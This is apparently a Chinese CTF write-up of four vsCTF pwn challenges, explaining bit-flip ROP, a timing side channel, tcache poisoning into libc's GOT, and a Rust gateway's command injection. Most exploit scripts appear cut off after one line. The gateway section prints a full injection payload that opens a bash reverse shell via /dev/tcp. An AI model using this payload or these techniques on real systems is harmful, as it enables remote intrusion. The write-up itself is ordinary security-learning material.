题目附件https://github.com/nyyyddddn/ctf/tree/main/vsctf_pwn
pwn
cosmic-ray-v3
程序的逻辑
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
这里很神奇的地方是cosmic_ray其实能翻转没有写权限段的数据,通过/proc/self/mem linux中的伪文件系统实现的
然后程序中有一个很奇怪的地方,这个exit是通过内联汇编实现的exit,手工fuzz了好久,发现翻转 0xb8可以将 mov eax,0x3c 变成 mov edx,0x3c,也就是syscall read,刚刚好能溢出,覆盖返回地址六个字节,main函数的返回地址是libc_start_main上的地址,刚刚好是六个字节
这时候想到的做法是,先翻转 0xb8回到main后,再将syscall read的rdx改大,这样就可以打rop了,高版本glibc csu函数变成动态链接,所以没有好用的修改寄存器的gadget,但是可以通过cosmic_ray 去写gadget,只需要写一个pop rdi ret的gadget,打ret2libc就好了
1 | .text:00000000004015E0 E8 E9 FD FF FF call cosmic_ray |
exp
1 | from pwn import * |
vs-gateway
程序的逻辑
1 | use std::io::{self, Write}; |
程序是rust语言写的不太熟悉rust,不过程序逻辑很简单,很快就找到漏洞了,每次更新Gateway状态的时候都会调用save_properties_to_file() 这个函数,这个函数的功能是使用shell中 echo的方式将Gateway的状态写到配置文件中,存在一个命令注入,其中修改wifi密码选项那,没有做任何检查,只需要截断一下命令就好了 也就是构造 ;command;# 这样的表达式
1 | fn save_properties_to_file(){ |
不过很奇怪的地方是,执行命令后没有回显,尝试重定向fd 还有 /dev/stdout这样的伪文件系统去输出结果,都不太行,后面想到可以反弹shell
1 | password123";/bin/bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1";# |
shs
程序的逻辑
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
远程环境的password.txt.tar.gz 和附件中的password.txt.tar.gz 不相同,直接爆破password的话是一个指数问题,有一个sleep的逻辑usleep(0x7A120u); 可以通过判断sleep的时间来判断第i位的内容是否是正确的password
exp
1 | from pwn import * |
Domain Expansion
程序的逻辑
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
glibc 2.35,domain_expanded中可以构造一个堆叠,通过tcache poison,写 libc got中strlen为system 然后去puts一个内容为binsh的堆就可以getshell了,这条利用链第一次见。
puts 一进去后会call strlen,同时call strlen的时候 rdi寄存器没有更新,然后libc.so的RELRO保护是Partial RELRO,got表还是可以写的
1 | .text:0000000000080E50 ; __int64 __fastcall puts(__int64) |
exp
1 | from pwn import * |